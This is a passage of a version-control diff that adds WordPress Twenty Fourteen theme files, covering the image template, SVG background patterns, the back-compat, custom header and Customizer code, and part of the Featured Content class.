+				<?php previous_image_link( false, '<div class="previous-image">' . __( 'Previous Image', 'twentyfourteen' ) . '</div>' ); ?>
+				<?php next_image_link( false, '<div class="next-image">' . __( 'Next Image', 'twentyfourteen' ) . '</div>' ); ?>
+				</div><!-- .nav-links -->
+			</nav><!-- #image-navigation -->
+
+			<?php comments_template(); ?>
+
+		<?php endwhile; // end of the loop. ?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php
+get_sidebar();
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/images/pattern-dark.svg
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/images/pattern-dark.svg	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/images/pattern-dark.svg	(revision 56912)
@@ -0,0 +1,16 @@
+<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
+	 width="30px" height="30px" viewBox="0 0 30 30" enable-background="new 0 0 30 30" xml:space="preserve">
+<rect x="0" display="none" width="30" height="30"/>
+<polygon opacity="0.3" fill="#FFFFFF" points="30,0 0,30 1,30 30,1 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="30,5 0,35 1,35 30,6 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="30,10 0,40 1,40 30,11 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="30,15 0,45 1,45 30,16 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="30,20 0,50 1,50 30,21 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="30,25 0,55 1,55 30,26 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="26,-1 -4,29 -3,29 26,0 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="21,-1 -9,29 -8,29 21,0 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="16,-1 -14,29 -13,29 16,0 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="11,-1 -19,29 -18,29 11,0 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="6,-1 -24,29 -23,29 6,0 "/>
+<polygon opacity="0.3" fill="#FFFFFF" points="1,-1 -29,29 -28,29 1,0 "/>
+</svg>
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/images/pattern-light.svg
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/images/pattern-light.svg	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/images/pattern-light.svg	(revision 56912)
@@ -0,0 +1,6 @@
+<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
+	 width="30px" height="30px" viewBox="0 0 30 30" enable-background="new 0 0 30 30" xml:space="preserve">
+<path fill="#FFFFFF" d="M0,15v-4L11,0h4L0,15z M10,0H6L0,6v4L10,0z M20,0h-4L0,16v4L20,0z M25,0h-4L0,21v4L25,0z M26,0L0,26v4L30,0
+	H26z M5,0H1L0,1v4L5,0z M5,30L30,5V1L1,30H5z M10,30l20-20V6L6,30H10z M15,30l15-15v-4L11,30H15z M20,30l10-10v-4L16,30H20z M25,30
+	l5-5v-4l-9,9H25z M30,30v-4l-4,4H30z"/>
+</svg>
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/back-compat.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/back-compat.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/back-compat.php	(revision 56912)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * Twenty Fourteen back compat functionality
+ *
+ * Prevents Twenty Fourteen from running on WordPress versions prior to 3.6,
+ * since this theme is not meant to be backward compatible beyond that
+ * and relies on many newer functions and markup changes introduced in 3.6.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+/**
+ * Prevent switching to Twenty Fourteen on old versions of WordPress.
+ *
+ * Switches to the default theme.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_switch_theme() {
+	switch_theme( WP_DEFAULT_THEME, WP_DEFAULT_THEME );
+	unset( $_GET['activated'] );
+	add_action( 'admin_notices', 'twentyfourteen_upgrade_notice' );
+}
+add_action( 'after_switch_theme', 'twentyfourteen_switch_theme' );
+
+/**
+ * Add message for unsuccessful theme switch.
+ *
+ * Prints an update nag after an unsuccessful attempt to switch to
+ * Twenty Fourteen on WordPress versions prior to 3.6.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_upgrade_notice() {
+	$message = sprintf( __( 'Twenty Fourteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again.', 'twentyfourteen' ), $GLOBALS['wp_version'] );
+	printf( '<div class="error"><p>%s</p></div>', $message );
+}
+
+/**
+ * Prevent the Customizer from being loaded on WordPress versions prior to 3.6.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_customize() {
+	wp_die( sprintf( __( 'Twenty Fourteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again.', 'twentyfourteen' ), $GLOBALS['wp_version'] ), '', array(
+		'back_link' => true,
+	) );
+}
+add_action( 'load-customize.php', 'twentyfourteen_customize' );
+
+/**
+ * Prevent the Theme Preview from being loaded on WordPress versions prior to 3.4.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_preview() {
+	if ( isset( $_GET['preview'] ) ) {
+		wp_die( sprintf( __( 'Twenty Fourteen requires at least WordPress version 3.6. You are running version %s. Please upgrade and try again.', 'twentyfourteen' ), $GLOBALS['wp_version'] ) );
+	}
+}
+add_action( 'template_redirect', 'twentyfourteen_preview' );
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/custom-header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/custom-header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/custom-header.php	(revision 56912)
@@ -0,0 +1,147 @@
+<?php
+/**
+ * Implement Custom Header functionality for Twenty Fourteen
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+/**
+ * Set up the WordPress core custom header settings.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @uses twentyfourteen_header_style()
+ * @uses twentyfourteen_admin_header_style()
+ * @uses twentyfourteen_admin_header_image()
+ */
+function twentyfourteen_custom_header_setup() {
+	/**
+	 * Filter Twenty Fourteen custom-header support arguments.
+	 *
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $args {
+	 *     An array of custom-header support arguments.
+	 *
+	 *     @type bool   $header_text            Whether to display custom header text. Default false.
+	 *     @type int    $width                  Width in pixels of the custom header image. Default 1260.
+	 *     @type int    $height                 Height in pixels of the custom header image. Default 240.
+	 *     @type bool   $flex_height            Whether to allow flexible-height header images. Default true.
+	 *     @type string $admin_head_callback    Callback function used to style the image displayed in
+	 *                                          the Appearance > Header screen.
+	 *     @type string $admin_preview_callback Callback function used to create the custom header markup in
+	 *                                          the Appearance > Header screen.
+	 * }
+	 */
+	add_theme_support( 'custom-header', apply_filters( 'twentyfourteen_custom_header_args', array(
+		'default-text-color'     => 'fff',
+		'width'                  => 1260,
+		'height'                 => 240,
+		'flex-height'            => true,
+		'wp-head-callback'       => 'twentyfourteen_header_style',
+		'admin-head-callback'    => 'twentyfourteen_admin_header_style',
+		'admin-preview-callback' => 'twentyfourteen_admin_header_image',
+	) ) );
+}
+add_action( 'after_setup_theme', 'twentyfourteen_custom_header_setup' );
+
+if ( ! function_exists( 'twentyfourteen_header_style' ) ) :
+/**
+ * Styles the header image and text displayed on the blog
+ *
+ * @see twentyfourteen_custom_header_setup().
+ *
+ */
+function twentyfourteen_header_style() {
+	$text_color = get_header_textcolor();
+
+	// If no custom color for text is set, let's bail.
+	if ( display_header_text() && $text_color === get_theme_support( 'custom-header', 'default-text-color' ) )
+		return;
+
+	// If we get this far, we have custom styles.
+	?>
+	<style type="text/css" id="twentyfourteen-header-css">
+	<?php
+		// Has the text been hidden?
+		if ( ! display_header_text() ) :
+	?>
+		.site-title,
+		.site-description {
+			clip: rect(1px 1px 1px 1px); /* IE7 */
+			clip: rect(1px, 1px, 1px, 1px);
+			position: absolute;
+		}
+	<?php
+		// If the user has set a custom color for the text, use that.
+		elseif ( $text_color != get_theme_support( 'custom-header', 'default-text-color' ) ) :
+	?>
+		.site-title a {
+			color: #<?php echo esc_attr( $text_color ); ?>;
+		}
+	<?php endif; ?>
+	</style>
+	<?php
+}
+endif; // twentyfourteen_header_style
+
+
+if ( ! function_exists( 'twentyfourteen_admin_header_style' ) ) :
+/**
+ * Style the header image displayed on the Appearance > Header screen.
+ *
+ * @see twentyfourteen_custom_header_setup()
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_admin_header_style() {
+?>
+	<style type="text/css" id="twentyfourteen-admin-header-css">
+	.appearance_page_custom-header #headimg {
+		background-color: #000;
+		border: none;
+		max-width: 1260px;
+		min-height: 48px;
+	}
+	#headimg h1 {
+		font-family: Lato, sans-serif;
+		font-size: 18px;
+		line-height: 48px;
+		margin: 0 0 0 30px;
+	}
+	.rtl #headimg h1  {
+		margin: 0 30px 0 0;
+	}
+	#headimg h1 a {
+		color: #fff;
+		text-decoration: none;
+	}
+	#headimg img {
+		vertical-align: middle;
+	}
+	</style>
+<?php
+}
+endif; // twentyfourteen_admin_header_style
+
+if ( ! function_exists( 'twentyfourteen_admin_header_image' ) ) :
+/**
+ * Create the custom header image markup displayed on the Appearance > Header screen.
+ *
+ * @see twentyfourteen_custom_header_setup()
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_admin_header_image() {
+?>
+	<div id="headimg">
+		<?php if ( get_header_image() ) : ?>
+		<img src="<?php header_image(); ?>" alt="">
+		<?php endif; ?>
+		<h1 class="displaying-header-text"><a id="name" style="<?php echo esc_attr( sprintf( 'color: #%s;', get_header_textcolor() ) ); ?>" onclick="return false;" href="<?php echo esc_url( home_url( '/' ) ); ?>" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
+	</div>
+<?php
+}
+endif; // twentyfourteen_admin_header_image
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/customizer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/customizer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/customizer.php	(revision 56912)
@@ -0,0 +1,152 @@
+<?php
+/**
+ * Twenty Fourteen Customizer support
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+/**
+ * Implement Customizer additions and adjustments.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @param WP_Customize_Manager $wp_customize Customizer object.
+ */
+function twentyfourteen_customize_register( $wp_customize ) {
+	// Add postMessage support for site title and description.
+	$wp_customize->get_setting( 'blogname' )->transport          = 'postMessage';
+	$wp_customize->get_setting( 'blogdescription' )->transport   = 'postMessage';
+	$wp_customize->get_setting( 'header_textcolor' )->transport  = 'postMessage';
+
+	if ( isset( $wp_customize->selective_refresh ) ) {
+		$wp_customize->selective_refresh->add_partial( 'blogname', array(
+			'selector' => '.site-title a',
+			'container_inclusive' => false,
+			'render_callback' => 'twentyfourteen_customize_partial_blogname',
+		) );
+		$wp_customize->selective_refresh->add_partial( 'blogdescription', array(
+			'selector' => '.site-description',
+			'container_inclusive' => false,
+			'render_callback' => 'twentyfourteen_customize_partial_blogdescription',
+		) );
+	}
+
+	// Rename the label to "Site Title Color" because this only affects the site title in this theme.
+	$wp_customize->get_control( 'header_textcolor' )->label = __( 'Site Title Color', 'twentyfourteen' );
+
+	// Rename the label to "Display Site Title & Tagline" in order to make this option extra clear.
+	$wp_customize->get_control( 'display_header_text' )->label = __( 'Display Site Title &amp; Tagline', 'twentyfourteen' );
+
+	// Add custom description to Colors and Background controls or sections.
+	if ( property_exists( $wp_customize->get_control( 'background_color' ), 'description' ) ) {
+		$wp_customize->get_control( 'background_color' )->description = __( 'May only be visible on wide screens.', 'twentyfourteen' );
+		$wp_customize->get_control( 'background_image' )->description = __( 'May only be visible on wide screens.', 'twentyfourteen' );
+	} else {
+		$wp_customize->get_section( 'colors' )->description           = __( 'Background may only be visible on wide screens.', 'twentyfourteen' );
+		$wp_customize->get_section( 'background_image' )->description = __( 'Background may only be visible on wide screens.', 'twentyfourteen' );
+	}
+
+	// Add the featured content section in case it's not already there.
+	$wp_customize->add_section( 'featured_content', array(
+		'title'           => __( 'Featured Content', 'twentyfourteen' ),
+		'description'     => sprintf( __( 'Use a <a href="%1$s">tag</a> to feature your posts. If no posts match the tag, <a href="%2$s">sticky posts</a> will be displayed instead.', 'twentyfourteen' ),
+			esc_url( add_query_arg( 'tag', _x( 'featured', 'featured content default tag slug', 'twentyfourteen' ), admin_url( 'edit.php' ) ) ),
+			admin_url( 'edit.php?show_sticky=1' )
+		),
+		'priority'        => 130,
+		'active_callback' => 'is_front_page',
+	) );
+
+	// Add the featured content layout setting and control.
+	$wp_customize->add_setting( 'featured_content_layout', array(
+		'default'           => 'grid',
+		'sanitize_callback' => 'twentyfourteen_sanitize_layout',
+	) );
+
+	$wp_customize->add_control( 'featured_content_layout', array(
+		'label'   => __( 'Layout', 'twentyfourteen' ),
+		'section' => 'featured_content',
+		'type'    => 'select',
+		'choices' => array(
+			'grid'   => __( 'Grid',   'twentyfourteen' ),
+			'slider' => __( 'Slider', 'twentyfourteen' ),
+		),
+	) );
+}
+add_action( 'customize_register', 'twentyfourteen_customize_register' );
+
+/**
+ * Render the site title for the selective refresh partial.
+ *
+ * @since Twenty Fourteen 1.7
+ * @see twentyfourteen_customize_register()
+ *
+ * @return void
+ */
+function twentyfourteen_customize_partial_blogname() {
+	bloginfo( 'name' );
+}
+
+/**
+ * Render the site tagline for the selective refresh partial.
+ *
+ * @since Twenty Fourteen 1.7
+ * @see twentyfourteen_customize_register()
+ *
+ * @return void
+ */
+function twentyfourteen_customize_partial_blogdescription() {
+	bloginfo( 'description' );
+}
+
+/**
+ * Sanitize the Featured Content layout value.
+ *
+ * @since Twenty Fourteen 1.0
+ *
+ * @param string $layout Layout type.
+ * @return string Filtered layout type (grid|slider).
+ */
+function twentyfourteen_sanitize_layout( $layout ) {
+	if ( ! in_array( $layout, array( 'grid', 'slider' ) ) ) {
+		$layout = 'grid';
+	}
+
+	return $layout;
+}
+
+/**
+ * Bind JS handlers to make Customizer preview reload changes asynchronously.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_customize_preview_js() {
+	wp_enqueue_script( 'twentyfourteen_customizer', get_template_directory_uri() . '/js/customizer.js', array( 'customize-preview' ), '20131205', true );
+}
+add_action( 'customize_preview_init', 'twentyfourteen_customize_preview_js' );
+
+/**
+ * Add contextual help to the Themes and Post edit screens.
+ *
+ * @since Twenty Fourteen 1.0
+ */
+function twentyfourteen_contextual_help() {
+	if ( 'admin_head-edit.php' === current_filter() && 'post' !== $GLOBALS['typenow'] ) {
+		return;
+	}
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'twentyfourteen',
+		'title'   => __( 'Twenty Fourteen', 'twentyfourteen' ),
+		'content' =>
+			'<ul>' .
+				'<li>' . sprintf( __( 'The home page features your choice of up to 6 posts prominently displayed in a grid or slider, controlled by a <a href="%1$s">tag</a>; you can change the tag and layout in <a href="%2$s">Appearance &rarr; Customize</a>. If no posts match the tag, <a href="%3$s">sticky posts</a> will be displayed instead.', 'twentyfourteen' ), esc_url( add_query_arg( 'tag', _x( 'featured', 'featured content default tag slug', 'twentyfourteen' ), admin_url( 'edit.php' ) ) ), admin_url( 'customize.php' ), admin_url( 'edit.php?show_sticky=1' ) ) . '</li>' .
+				'<li>' . sprintf( __( 'Enhance your site design by using <a href="%s">Featured Images</a> for posts you&rsquo;d like to stand out (also known as post thumbnails). This allows you to associate an image with your post without inserting it. Twenty Fourteen uses featured images for posts and pages&mdash;above the title&mdash;and in the Featured Content area on the home page.', 'twentyfourteen' ), 'https://codex.wordpress.org/Post_Thumbnails#Setting_a_Post_Thumbnail' ) . '</li>' .
+				'<li>' . sprintf( __( 'For an in-depth tutorial, and more tips and tricks, visit the <a href="%s">Twenty Fourteen documentation</a>.', 'twentyfourteen' ), 'https://codex.wordpress.org/Twenty_Fourteen' ) . '</li>' .
+			'</ul>',
+	) );
+}
+add_action( 'admin_head-themes.php', 'twentyfourteen_contextual_help' );
+add_action( 'admin_head-edit.php',   'twentyfourteen_contextual_help' );
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/featured-content.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/featured-content.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/inc/featured-content.php	(revision 56912)
@@ -0,0 +1,531 @@
+<?php
+/**
+ * Twenty Fourteen Featured Content
+ *
+ * This module allows you to define a subset of posts to be displayed
+ * in the theme's Featured Content area.
+ *
+ * For maximum compatibility with different methods of posting users
+ * will designate a featured post tag to associate posts with. Since
+ * this tag now has special meaning beyond that of a normal tags, users
+ * will have the ability to hide it from the front end of their site.
+ */
+class Featured_Content {
+
+	/**
+	 * The maximum number of posts a Featured Content area can contain.
+	 *
+	 * We define a default value here but themes can override
+	 * this by defining a "max_posts" entry in the second parameter
+	 * passed in the call to add_theme_support( 'featured-content' ).
+	 *
+	 * @see Featured_Content::init()
+	 *
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @static
+	 * @access public
+	 * @var int
+	 */
+	public static $max_posts = 15;
+
+	/**
+	 * Instantiate.
+	 *
+	 * All custom functionality will be hooked into the "init" action.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 */
+	public static function setup() {
+		add_action( 'init', array( __CLASS__, 'init' ), 30 );
+	}
+
+	/**
+	 * Conditionally hook into WordPress.
+	 *
+	 * Theme must declare that they support this module by adding
+	 * add_theme_support( 'featured-content' ); during after_setup_theme.
+	 *
+	 * If no theme support is found there is no need to hook into WordPress.
+	 * We'll just return early instead.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 */
+	public static function init() {
+		$theme_support = get_theme_support( 'featured-content' );
+
+		// Return early if theme does not support Featured Content.
+		if ( ! $theme_support ) {
+			return;
+		}
+
+		/*
+		 * An array of named arguments must be passed as the second parameter
+		 * of add_theme_support().
+		 */
+		if ( ! isset( $theme_support[0] ) ) {
+			return;
+		}
+
+		// Return early if "featured_content_filter" has not been defined.
+		if ( ! isset( $theme_support[0]['featured_content_filter'] ) ) {
+			return;
+		}
+
+		$filter = $theme_support[0]['featured_content_filter'];
+
+		// Theme can override the number of max posts.
+		if ( isset( $theme_support[0]['max_posts'] ) ) {
+			self::$max_posts = absint( $theme_support[0]['max_posts'] );
+		}
+
+		add_filter( $filter,                              array( __CLASS__, 'get_featured_posts' )    );
+		add_action( 'customize_register',                 array( __CLASS__, 'customize_register' ), 9 );
+		add_action( 'admin_init',                         array( __CLASS__, 'register_setting'   )    );
+		add_action( 'switch_theme',                       array( __CLASS__, 'delete_transient'   )    );
+		add_action( 'save_post',                          array( __CLASS__, 'delete_transient'   )    );
+		add_action( 'delete_post_tag',                    array( __CLASS__, 'delete_post_tag'    )    );
+		add_action( 'customize_controls_enqueue_scripts', array( __CLASS__, 'enqueue_scripts'    )    );
+		add_action( 'pre_get_posts',                      array( __CLASS__, 'pre_get_posts'      )    );
+		add_action( 'wp_loaded',                          array( __CLASS__, 'wp_loaded'          )    );
+	}
+
+	/**
+	 * Hide "featured" tag from the front end.
+	 *
+	 * Has to run on wp_loaded so that the preview filters of the Customizer
+	 * have a chance to alter the value.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 */
+	public static function wp_loaded() {
+		if ( self::get_setting( 'hide-tag' ) ) {
+			add_filter( 'get_terms',     array( __CLASS__, 'hide_featured_term'     ), 10, 3 );
+			add_filter( 'get_the_terms', array( __CLASS__, 'hide_the_featured_term' ), 10, 3 );
+		}
+	}
+
+	/**
+	 * Get featured posts.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @return array Array of featured posts.
+	 */
+	public static function get_featured_posts() {
+		$post_ids = self::get_featured_post_ids();
+
+		// No need to query if there is are no featured posts.
+		if ( empty( $post_ids ) ) {
+			return array();
+		}
+
+		$featured_posts = get_posts( array(
+			'include'        => $post_ids,
+			'posts_per_page' => count( $post_ids ),
+		) );
+
+		return $featured_posts;
+	}
+
+	/**
+	 * Get featured post IDs
+	 *
+	 * This function will return the an array containing the
+	 * post IDs of all featured posts.
+	 *
+	 * Sets the "featured_content_ids" transient.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @return array Array of post IDs.
+	 */
+	public static function get_featured_post_ids() {
+		// Get array of cached results if they exist.
+		$featured_ids = get_transient( 'featured_content_ids' );
+
+		if ( false === $featured_ids ) {
+			$settings = self::get_setting();
+			$term     = get_term_by( 'name', $settings['tag-name'], 'post_tag' );
+
+			if ( $term ) {
+				// Query for featured posts.
+				$featured_ids = get_posts( array(
+					'fields'           => 'ids',
+					'numberposts'      => self::$max_posts,
+					'suppress_filters' => false,
+					'tax_query'        => array(
+						array(
+							'field'    => 'term_id',
+							'taxonomy' => 'post_tag',
+							'terms'    => $term->term_id,
+						),
+					),
+				) );
+			}
+
+			// Get sticky posts if no Featured Content exists.
+			if ( ! $featured_ids ) {
+				$featured_ids = self::get_sticky_posts();
+			}
+
+			set_transient( 'featured_content_ids', $featured_ids );
+		}
+
+		// Ensure correct format before return.
+		return array_map( 'absint', $featured_ids );
+	}
+
+	/**
+	 * Return an array with IDs of posts maked as sticky.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @return array Array of sticky posts.
+	 */
+	public static function get_sticky_posts() {
+		return array_slice( get_option( 'sticky_posts', array() ), 0, self::$max_posts );
+	}
+
+	/**
+	 * Delete featured content ids transient.
+	 *
+	 * Hooks in the "save_post" action.
+	 *
+	 * @see Featured_Content::validate_settings().
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 */
+	public static function delete_transient() {
+		delete_transient( 'featured_content_ids' );
+	}
+
+	/**
+	 * Exclude featured posts from the home page blog query.
+	 *
+	 * Filter the home page posts, and remove any featured post ID's from it.
+	 * Hooked onto the 'pre_get_posts' action, this changes the parameters of
+	 * the query before it gets any posts.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param WP_Query $query WP_Query object.
+	 * @return WP_Query Possibly-modified WP_Query.
+	 */
+	public static function pre_get_posts( $query ) {
+
+		// Bail if not home or not main query.
+		if ( ! $query->is_home() || ! $query->is_main_query() ) {
+			return;
+		}
+
+		// Bail if the blog page is not the front page.
+		if ( 'posts' !== get_option( 'show_on_front' ) ) {
+			return;
+		}
+
+		$featured = self::get_featured_post_ids();
+
+		// Bail if no featured posts.
+		if ( ! $featured ) {
+			return;
+		}
+
+		// We need to respect post ids already in the blacklist.
+		$post__not_in = $query->get( 'post__not_in' );
+
+		if ( ! empty( $post__not_in ) ) {
+			$featured = array_merge( (array) $post__not_in, $featured );
+			$featured = array_unique( $featured );
+		}
+
+		$query->set( 'post__not_in', $featured );
+	}
+
+	/**
+	 * Reset tag option when the saved tag is deleted.
+	 *
+	 * It's important to mention that the transient needs to be deleted,
+	 * too. While it may not be obvious by looking at the function alone,
+	 * the transient is deleted by Featured_Content::validate_settings().
+	 *
+	 * Hooks in the "delete_post_tag" action.
+	 *
+	 * @see Featured_Content::validate_settings().
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param int $tag_id The term_id of the tag that has been deleted.
+	 */
+	public static function delete_post_tag( $tag_id ) {
+		$settings = self::get_setting();
+
+		if ( empty( $settings['tag-id'] ) || $tag_id != $settings['tag-id'] ) {
+			return;
+		}
+
+		$settings['tag-id'] = 0;
+		$settings = self::validate_settings( $settings );
+		update_option( 'featured-content', $settings );
+	}
+
+	/**
+	 * Hide featured tag from displaying when global terms are queried from the front end.
+	 *
+	 * Hooks into the "get_terms" filter.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $terms      List of term objects. This is the return value of get_terms().
+	 * @param array $taxonomies An array of taxonomy slugs.
+	 * @return array A filtered array of terms.
+	 *
+	 * @uses Featured_Content::get_setting()
+	 */
+	public static function hide_featured_term( $terms, $taxonomies, $args ) {
+
+		// This filter is only appropriate on the front end.
+		if ( is_admin() ) {
+			return $terms;
+		}
+
+		// We only want to hide the featured tag.
+		if ( ! in_array( 'post_tag', $taxonomies ) ) {
+			return $terms;
+		}
+
+		// Bail if no terms were returned.
+		if ( empty( $terms ) ) {
+			return $terms;
+		}
+
+		// Bail if term objects are unavailable.
+		if ( 'all' != $args['fields'] ) {
+			return $terms;
+		}
+
+		$settings = self::get_setting();
+		foreach ( $terms as $order => $term ) {
+			if ( ( $settings['tag-id'] === $term->term_id || $settings['tag-name'] === $term->name ) && 'post_tag' === $term->taxonomy ) {
+				unset( $terms[ $order ] );
+			}
+		}
+
+		return $terms;
+	}
+
+	/**
+	 * Hide featured tag from display when terms associated with a post object
+	 * are queried from the front end.
+	 *
+	 * Hooks into the "get_the_terms" filter.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param array $terms    A list of term objects. This is the return value of get_the_terms().
+	 * @param int   $id       The ID field for the post object that terms are associated with.
+	 * @param array $taxonomy An array of taxonomy slugs.
+	 * @return array Filtered array of terms.
+	 *
+	 * @uses Featured_Content::get_setting()
+	 */
+	public static function hide_the_featured_term( $terms, $id, $taxonomy ) {
+
+		// This filter is only appropriate on the front end.
+		if ( is_admin() ) {
+			return $terms;
+		}
+
+		// Make sure we are in the correct taxonomy.
+		if ( 'post_tag' != $taxonomy ) {
+			return $terms;
+		}
+
+		// No terms? Return early!
+		if ( empty( $terms ) ) {
+			return $terms;
+		}
+
+		$settings = self::get_setting();
+		foreach ( $terms as $order => $term ) {
+			if ( ( $settings['tag-id'] === $term->term_id || $settings['tag-name'] === $term->name ) && 'post_tag' === $term->taxonomy ) {
+				unset( $terms[ $term->term_id ] );
+			}
+		}
+
+		return $terms;
+	}
+
+	/**
+	 * Register custom setting on the Settings -> Reading screen.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 */
+	public static function register_setting() {
+		register_setting( 'featured-content', 'featured-content', array( __CLASS__, 'validate_settings' ) );
+	}
+
+	/**
+	 * Add settings to the Customizer.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param WP_Customize_Manager $wp_customize Customizer object.
+	 */
+	public static function customize_register( $wp_customize ) {
+		$wp_customize->add_section( 'featured_content', array(
+			'title'          => __( 'Featured Content', 'twentyfourteen' ),
+			'description'    => sprintf( __( 'Use a <a href="%1$s">tag</a> to feature your posts. If no posts match the tag, <a href="%2$s">sticky posts</a> will be displayed instead.', 'twentyfourteen' ),
+				esc_url( add_query_arg( 'tag', _x( 'featured', 'featured content default tag slug', 'twentyfourteen' ), admin_url( 'edit.php' ) ) ),
+				admin_url( 'edit.php?show_sticky=1' )
+			),
+			'priority'       => 130,
+			'theme_supports' => 'featured-content',
+		) );
+
+		// Add Featured Content settings.
+		$wp_customize->add_setting( 'featured-content[tag-name]', array(
+			'default'              => _x( 'featured', 'featured content default tag slug', 'twentyfourteen' ),
+			'type'                 => 'option',
+			'sanitize_js_callback' => array( __CLASS__, 'delete_transient' ),
+		) );
+		$wp_customize->add_setting( 'featured-content[hide-tag]', array(
+			'default'              => true,
+			'type'                 => 'option',
+			'sanitize_js_callback' => array( __CLASS__, 'delete_transient' ),
+		) );
+
+		// Add Featured Content controls.
+		$wp_customize->add_control( 'featured-content[tag-name]', array(
+			'label'    => __( 'Tag Name', 'twentyfourteen' ),
+			'section'  => 'featured_content',
+			'priority' => 20,
+		) );
+		$wp_customize->add_control( 'featured-content[hide-tag]', array(
+			'label'    => __( 'Don&rsquo;t display tag on front end.', 'twentyfourteen' ),
+			'section'  => 'featured_content',
+			'type'     => 'checkbox',
+			'priority' => 30,
+		) );
+	}
+
+	/**
+	 * Enqueue the tag suggestion script.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 */
+	public static function enqueue_scripts() {
+		wp_enqueue_script( 'featured-content-suggest', get_template_directory_uri() . '/js/featured-content-admin.js', array( 'jquery', 'suggest' ), '20131022', true );
+	}
+
+	/**
+	 * Get featured content settings.
+	 *
+	 * Get all settings recognized by this module. This function
+	 * will return all settings whether or not they have been stored
+	 * in the database yet. This ensures that all keys are available
+	 * at all times.
+	 *
+	 * In the event that you only require one setting, you may pass
+	 * its name as the first parameter to the function and only that
+	 * value will be returned.
+	 *
+	 * @static
+	 * @access public
+	 * @since Twenty Fourteen 1.0
+	 *
+	 * @param string $key The key of a recognized setting.
+	 * @return mixed Array of all settings by default. A single value if passed as first parameter.
+	 */
+	public static function get_setting( $key = 'all' ) {
+		$saved = (array) get_option( 'featured-content' );
+
+		$defaults = array(
+			'hide-tag' => 1,
+			'tag-id'   => 0,
+			'tag-name' => _x( 'featured', 'featured content default tag slug', 'twentyfourteen' ),
+		);
+
+		$options = wp_parse_args( $saved, $defaults );
+		$options = array_intersect_key( $options, $defaults );
+
